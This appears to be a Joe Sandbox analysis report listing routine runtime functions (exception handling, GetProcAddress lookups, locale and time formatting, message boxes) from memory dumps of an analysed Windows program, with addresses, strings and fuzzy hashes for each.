API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction ID: b6b447d6b983b8d08ad5bbe403cf915433e04bf022f359c82bb337cf7e29e650
Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction Fuzzy Hash: BA51C632B29E0A8ADB14EF15E544679BB91FB44BA8FA08131EA4E43784DF7CF845C710

Function 00007FF7102CE1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7102CE257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7102CE2A3

Strings

RCC, xrefs: 00007FF7102CE273
MOC, xrefs: 00007FF7102CE26B

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
Instruction ID: 918e9f2ef7060659ce7f6be0d29e4ae08b8a62b74a9e19b979c1d3995270e9a9
Opcode Fuzzy Hash: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
Instruction Fuzzy Hash: 7B619032918BC581DB35AB25E5403AAFBA0FB857A4F444225EB9D03B95DF7CF198CB10

Function 00007FF7102CE5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7102CE5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7102CE6B8

Strings

csm, xrefs: 00007FF7102CE70A
csm, xrefs: 00007FF7102CE5F2

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction ID: 1cfa5c91c5d8fc93cc87e7ae6c83fde6226093d678302aa42090633369f1bee9
Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction Fuzzy Hash: 4951BF32A28A8286EF34AB219244378FBA4EB50BA4F945135DA5D43BD5CF3CF458CB11

Function 00007FFEEE22D5B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 94libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,?,?,?,?,00007FFEEE22F22F), ref: 00007FFEEE22D638
CompareStringW.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00007FFEEE22F22F), ref: 00007FFEEE22D700

Strings

AppPolicyGetThreadInitializationType, xrefs: 00007FFEEE22D617
CompareStringEx, xrefs: 00007FFEEE22D62E

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressCompareProcString
String ID: AppPolicyGetThreadInitializationType$CompareStringEx
API String ID: 108076903-1200376162
Opcode ID: 30d2520cc01e508eb23018c8aeae5952f2c3f42758c4307ec194bc7423b5993b
Instruction ID: 2ffb6b51be44010f4f942187d464415af4c3055c538ccdbb234171c935941b80
Opcode Fuzzy Hash: 30d2520cc01e508eb23018c8aeae5952f2c3f42758c4307ec194bc7423b5993b
Instruction Fuzzy Hash: 93318E31B08A4182EA648F15F8147B567E0FB8CB94F074235ED9D577A8EF7CE8458741

Function 00007FFEEE22D820 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 89libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,?,?,00007FFEEE2180CD,?,?,?,?,?,?,?,00000000), ref: 00007FFEEE22D8A2
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(?,?,?,?,?,?,?,00007FFEEE2180CD,?,?,?,?,?,?,?,00000000), ref: 00007FFEEE22D950

Strings

RoInitialize, xrefs: 00007FFEEE22D885
GetDateFormatEx, xrefs: 00007FFEEE22D898

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressDateFormatProc
String ID: GetDateFormatEx$RoInitialize
API String ID: 2680382325-2816274727
Opcode ID: 3cbcdcd87a5581ac5b4be722e370957f0920fc86bcbb390c1353a9f807368591
Instruction ID: 0d5055999e2feb540cea86b054adb91c3780920071030cc6523a468660298251
Opcode Fuzzy Hash: 3cbcdcd87a5581ac5b4be722e370957f0920fc86bcbb390c1353a9f807368591
Instruction Fuzzy Hash: 56315B71A09B0682FA148F26B81076567D1BB8CB90F074239EE9D577B8EFBCE805C745

Function 00007FFEEE22DB5C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88libraryloadertimeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,?,?,00007FFEEE218170,?,?,?,?,?,?,?,00000000), ref: 00007FFEEE22DBDE
GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(?,?,?,?,?,?,?,00007FFEEE218170,?,?,?,?,?,?,?,00000000), ref: 00007FFEEE22DC86

Strings

RoInitialize, xrefs: 00007FFEEE22DBC1
GetTimeFormatEx, xrefs: 00007FFEEE22DBD4

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressFormatProcTime
String ID: GetTimeFormatEx$RoInitialize
API String ID: 3572143191-3078538569
Opcode ID: 50b84c3166a7a606b15ed9c35499d240a258922d1085a1f3b1407689fb808eb0
Instruction ID: e2f4ded0d5711209732928967c8e97ec0c1bb67a918a8480f8f97496e0c9198e
Opcode Fuzzy Hash: 50b84c3166a7a606b15ed9c35499d240a258922d1085a1f3b1407689fb808eb0
Instruction Fuzzy Hash: 63315A71A09B4282FA148F26B81066567D1BBCCBD4F074239DE8D577B8EFBCE8018745

Function 00007FF7102C7530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7102C324C,?,?,00007FF7102C3964), ref: 00007FF7102C7642

Strings

%.*s, xrefs: 00007FF7102C75FB
%s%c, xrefs: 00007FF7102C75B4
\, xrefs: 00007FF7102C75A7

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 1156698ca0d33aa8d2468b4f0fdefbfa17a3fd1640f2d1a941dba21d9585616c
Instruction ID: f1a4b413d3b3a77257b47a7f678ab4d444ef636e31ef44967624b316e8087687
Opcode Fuzzy Hash: 1156698ca0d33aa8d2468b4f0fdefbfa17a3fd1640f2d1a941dba21d9585616c
Instruction Fuzzy Hash: 4831E821629EC585EA21AB24E5107EAA758FF44BF4FD44231EE6D43BC9DE3CE6098710

Function 00007FFEEE1D62CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1D34B6,?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?), ref: 00007FFEEE1D6355
TlsSetValue.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00007FFEEE1D34B6,?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?), ref: 00007FFEEE21347A

Strings

FlsSetValue, xrefs: 00007FFEEE1D634B
LCMapStringEx, xrefs: 00007FFEEE21343A

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressProcValue
String ID: FlsSetValue$LCMapStringEx
API String ID: 1414840956-3586097892
Opcode ID: e8f73a9f15f5acc4ace477647e8abd823f3b94cfbf3b3b9d69bf812f061f4f2f
Instruction ID: 32d3333ca5cbc0f62a483d3775bfc9dcbfa3244f6d96aeaaf772df1c46e2f285
Opcode Fuzzy Hash: e8f73a9f15f5acc4ace477647e8abd823f3b94cfbf3b3b9d69bf812f061f4f2f
Instruction Fuzzy Hash: 6D21B661B1D64281FA559F15B81177533A1AF8C7D0F079239DD9D077B4EFACE9408381

Function 00007FFEEE1DE260 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1DE1FB), ref: 00007FFEEE1DE2E0
GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00007FFEEE1DE1FB), ref: 00007FFEEE21605D

Strings

IsValidLocaleName, xrefs: 00007FFEEE216022
GetUserDefaultLocaleName, xrefs: 00007FFEEE1DE2D6

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressDefaultProcUser
String ID: GetUserDefaultLocaleName$IsValidLocaleName
API String ID: 306211784-3812970866
Opcode ID: 6de41d5f5313b39fdf11730a669525d9c1f1cd8a2f9373217a76878fdf8f655c
Instruction ID: d3e2196351ef33c7b3cfd1c411648931eded9b67645cde24ee2a995be72af4d9
Opcode Fuzzy Hash: 6de41d5f5313b39fdf11730a669525d9c1f1cd8a2f9373217a76878fdf8f655c
Instruction Fuzzy Hash: 8421B161A0CA4282FA548F55B8107B92391AF8C7D4F07523ADD9D177F4EFACE9418342

Function 00007FFEEE22D728 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE22D154,?,?,?,?,00007FFEEE1D709B), ref: 00007FFEEE22D799
TlsFree.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00007FFEEE22D154,?,?,?,?,00007FFEEE1D709B), ref: 00007FFEEE22D804

Strings

LCMapStringEx, xrefs: 00007FFEEE22D77C
FlsFree, xrefs: 00007FFEEE22D78F

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressFreeProc
String ID: FlsFree$LCMapStringEx
API String ID: 4110577592-1627765421
Opcode ID: 08e3f97a92b361267e144c6ae74d5b496c91b98002f5abc4f9b2827e390f001c
Instruction ID: d63a876c028d27a8b13e614768a886f92ec334404e3cc0b417d9af84eadf5f2a
Opcode Fuzzy Hash: 08e3f97a92b361267e144c6ae74d5b496c91b98002f5abc4f9b2827e390f001c
Instruction Fuzzy Hash: D621C461A1960282FE198F14B82077522D16FCC794F479239ED9E473F4EFACED408242

Function 00007FFEEE1D7624 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1D6FE6), ref: 00007FFEEE1D769F
TlsAlloc.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00007FFEEE1D6FE6), ref: 00007FFEEE1D76DF

Strings

LCMapStringEx, xrefs: 00007FFEEE21360C
FlsAlloc, xrefs: 00007FFEEE1D7695

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressAllocProc
String ID: FlsAlloc$LCMapStringEx
API String ID: 2924745751-1958574131
Opcode ID: 52871a79671c4f628470ebf279ca615ca428cd953d39a408f8540e4ea56dfa3a
Instruction ID: 56bbde69a70e3a60073bbf164e392a6d717a4b8f6d1b70edab01d63d08ca0077
Opcode Fuzzy Hash: 52871a79671c4f628470ebf279ca615ca428cd953d39a408f8540e4ea56dfa3a
Instruction Fuzzy Hash: 8D21B261A1974281FA558F29B8117B52391AF8C7D4F075239EDAD477B4FFACE8848301

Function 00007FFEEE1D5F70 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00007FFEEE1E1F4E,?,?,?,?,?,00007FFEEE1E1F01), ref: 00007FFEEE213232
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1E1F4E,?,?,?,?,?,00007FFEEE1E1F01), ref: 00007FFEEE213248

Strings

FlsSetValue, xrefs: 00007FFEEE21323E
LCMapStringEx, xrefs: 00007FFEEE2131EB

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressProcValue
String ID: FlsSetValue$LCMapStringEx
API String ID: 1414840956-3586097892
Opcode ID: 53de3e512ccb66b431a7c3155f2d458e209e329cd8c00b4f72dde238609dd6ac
Instruction ID: d93c4d966a44bb8affdea1849a1924d8a0dabff2a8d1cceaf52f54247cb88e48
Opcode Fuzzy Hash: 53de3e512ccb66b431a7c3155f2d458e209e329cd8c00b4f72dde238609dd6ac
Instruction Fuzzy Hash: 29215665B1970282FA549F19F81037562926F8C760F079739C9AD573F8EEBCE9458202

Function 00007FFEEE1D5FE0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00007FFEEE1E24DE,?,?,?,?,?,?,?,?,?,00007FFEEE1E2379), ref: 00007FFEEE2132D3
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1E24DE,?,?,?,?,?,?,?,?,?,00007FFEEE1E2379), ref: 00007FFEEE2132E9

Strings

FlsSetValue, xrefs: 00007FFEEE2132DF
LCMapStringEx, xrefs: 00007FFEEE213289

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressProcValue
String ID: FlsSetValue$LCMapStringEx
API String ID: 1414840956-3586097892
Opcode ID: b6a1fe3d016932c687377a0b0bd6db3313e0398f0c172229d9a6fa604d345480
Instruction ID: 5e3ca471367b631852a393d5c4f381c0e23c0b4815d8912c10c190bd9e9aa668
Opcode Fuzzy Hash: b6a1fe3d016932c687377a0b0bd6db3313e0398f0c172229d9a6fa604d345480
Instruction Fuzzy Hash: 3A214461B1970682FA549F15F8503752392AF8C7A0F079739C9AD077F8DEACE9458342

Function 00007FFEEE1D3A40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,00000000,00007FFEEE1D3484,?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?), ref: 00007FFEEE1D3AB9
TlsGetValue.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00007FFEEE1D3484,?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?), ref: 00007FFEEE20C59E

Strings

LCMapStringEx, xrefs: 00007FFEEE1D3A98
FlsGetValue, xrefs: 00007FFEEE1D3AAF

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressProcValue
String ID: FlsGetValue$LCMapStringEx
API String ID: 1414840956-552164261
Opcode ID: d64a5d3ffbdea9515a3ca7683bb0a3791a94bfe81829277ad067d39434604beb
Instruction ID: 48b67fdac1d22ec1802c579f69afb9279118f977b2d5b9bb5b1ea7e581cf2ba9
Opcode Fuzzy Hash: d64a5d3ffbdea9515a3ca7683bb0a3791a94bfe81829277ad067d39434604beb
Instruction Fuzzy Hash: 8D218E65B1970282FA548F28B8503742391AF8C7A0F075739D9AD573F8EEBCE8858302

Function 00007FF7102C25F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

MessageBoxW.USER32 ref: 00007FF7102C2686
MessageBoxA.USER32 ref: 00007FF7102C269A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF7102C268E
Error, xrefs: 00007FF7102C2677

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error$Error/warning (ANSI fallback)
API String ID: 1878133881-653037927
Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction ID: 47f60dfdde2243a8c79ef970cccaf545cd3f9033f38aeb1898e36fa7a5f22e15
Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction Fuzzy Hash: 4F118E72628E8681EA21AB00E551BAAA768FB44B94FD05136EA8C17744CF3CE609C720

Function 00007FF7102C2870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

MessageBoxW.USER32 ref: 00007FF7102C2906
MessageBoxA.USER32 ref: 00007FF7102C291A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF7102C290E
Warning, xrefs: 00007FF7102C28F7

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error/warning (ANSI fallback)$Warning
API String ID: 1878133881-2698358428
Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction ID: df67154608e588c9dd93915a649fb08608e411536b62a39ee169e62efbd28813
Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction Fuzzy Hash: 4A118E62628E8581EA21AB00E551BAAB764FB44B94F905136DA8C17744CF3CE608C760

Function 00007FFEEE1D3660 Relevance: 6.3, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D366F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D36BE
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D36D9
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D36F1
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D375D

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
